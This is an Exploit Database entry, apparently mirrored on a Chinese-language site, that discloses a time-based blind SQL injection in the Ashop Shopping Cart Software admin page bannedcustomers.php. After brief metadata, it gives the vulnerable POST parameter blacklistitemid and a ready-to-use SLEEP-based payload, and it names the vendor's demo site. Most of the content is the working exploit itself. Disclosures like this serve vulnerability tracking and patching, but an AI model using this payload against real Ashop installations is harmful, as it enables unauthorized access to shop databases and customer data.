Ashop Shopping Cart Software – ‘bannedcustomers.php?blacklistitemid’ SQL Injection

• Exploit Database
• 17 阅读

• 作者： Doğukan Karaciğer
  日期： 2019-04-09
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/46681/

• # Exploit Title: Ashop Shopping Cart Software - SQL Injection
  # Date: 08.04.2019
  # Exploit Author: Doğukan Karaciğer
  # Vendor Homepage: http://www.ashopsoftware.com
  # Software Link: https://sourceforge.net/projects/ashop/
  # Demo Site: http://demo.ashopsoftware.com/
  # Version: Lastest
  # Tested on: Ubuntu-trusty-64
  # CVE: N/A
  
  ----- PoC: SQLi -----
  
  Request: http://localhost/[PATH]/admin/bannedcustomers.php
  Parameter: blacklistitemid (POST)
  Type: AND/OR time-based blind
  Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
  Payload: blacklistitem=1&deletebutton=Delete&blacklistitemid=1 AND (SELECT
  * FROM (SELECT(SLEEP(5)))MGvE)